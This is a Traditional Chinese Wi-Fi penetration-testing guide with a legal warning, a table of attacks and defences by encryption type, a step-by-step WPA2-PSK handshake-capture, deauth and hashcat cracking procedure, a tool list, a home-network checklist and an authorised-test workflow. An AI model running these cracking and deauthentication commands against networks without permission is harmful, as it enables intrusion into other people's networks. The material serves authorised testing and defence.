⚠️ 法律紅線

未經書面授權破解、嘗試連接他人無線網路屬違法 (中華民國刑法第 359 條「無故入侵他人電腦或相關設備罪」、第 360 條「取得/傳遞駭客工具罪」、資通安全管理法)。本文僅供授權滲透測試、CTF、教學實驗、自家網路安全自查使用。

攻擊面分類

加密類型	攻擊手法	可行性 (現代環境)	防禦
Open (無加密)	直接關聯	極高	勿使用
WEP	統計攻擊 (FMS/KoreK/PTW) + ARP Replay 注入收集 IVs → Aircrack-ng 破解	極高 (分鐘級)	棄用，升級 WPA2/WPA3
WPA/WPA2-PSK	離線字典/彩虹表/規則攻擊 (捕獲 4-way Handshake → Hashcat/aicrack-ng)	視密碼複雜度 (弱密碼分鐘級，強密碼不可行)	長度≥20 高熵值 PSK、禁用 WPS、啟用 PMF (802.11w)
WPA3-SAE	Side-channel (Dragonblood) / 暴力破解 (需線上互動、易被速率限制)	極低	啟用 WPA3、禁用過渡模式、固件更新
WPS PIN	Reaver/Bully 暴力破解 8 位 PIN (含校驗碼實際 10^4 空間)	高 (鎖定機制可繞過)	徹底關閉 WPS
Enterprise 802.1X	EAP 降級/中間人 (EAP-MD5/LEAP/PEAPv0-MSCHAPv2) → 密碼雜湊破解	中 (視 EAP 類型/憑證驗證)	EAP-TLS (雙向憑證)、伺服器憑證驗證、NAC/姿態評估

經典 WPA2-PSK 破解流程 (Kali Linux / 專用無線網卡)

1. 網卡進入監聽模式：airmon-ng start wlan0 → wlan0mon。
2. 鎖定目標：airodump-ng wlan0mon → 記錄 BSSID、Channel、ESSID。
3. 捕獲握手包：airodump-ng -c <ch> --bssid <BSSID> -w capture wlan0mon。
4. 強制解關聯 (Deauth) 使客戶端重連產生握手包：aireplay-ng -0 10 -a <BSSID> -c <Client MAC> wlan0mon。
5. 驗證握手包：aircrack-ng capture-01.cap 顯示「WPA handshake: xx:xx:xx:xx:xx:xx」。
6. 離線破解：hashcat -m 2500 -a 0 capture.hccapx rockyou.txt -r rules/best64.rule 或 aircrack-ng -w rockyou.txt capture-01.cap。

工具鏈現代化

• Bettercap：全能網路攻擊框架 (WiFi/BLE/HID/網路偵察/中間人)。
• Wifite2 / Airgeddon：自動化腳本整合掃描/解關聯/破解/報告。
• Hashcat：GPU 加速雜湊破解 (支援 WPA-PMKID 模式 16800、WPA-EAP 等)。
• HCX Tools：hcxdumptool 捕獲 PMKID (無需客戶端連線) → hashcat -m 16800 破解。
• Kismet：被動式無線 IDS/偵察/地理定位。

防禦檢查清單 (自家網路自查)

1. ☐ 加密模式：WPA2-AES (CCMP) 或 WPA3-SAE (禁用 TKIP/混合模式)。
2. ☐ PSK 長度 ≥ 20，字元集包含大小寫/數字/符號，非字典單字/個資/鍵盤走勢。
3. ☐ WPS 完全關閉 (PIN/PBC 皆關)。
4. ☐ PMF (802.11w) 啟用 (Required/Optional)，防解關聯攻擊。
5. ☐ 固件為最新版 (含 KRACK/Fragmentation/Forge 等修補)。
6. ☐ 訪客網路隔離 (AP Isolation/Client Isolation + VLAN)。
7. ☐ MAC 過濾 (輔助、非核心)。
8. ☐ 監控異常連線/解關聯/認證失敗日誌 (Syslog/SIEM)。

授權測試流程規範

1. 取得書面授權範圍 (目標 SSID/BSSID、時間窗口、IP 範圍、測試類型)。
2. 隔離測試環境 (屏蔽箱/法拉第籠/專用測試實驗室)，避免干擾鄰近網路。
3. 記錄完整攻擊鏈、工具版本、參數、證據 (PCAP/截圖/日誌)。
4. 出具報告：風險等級、證據、修復建議、驗證複測。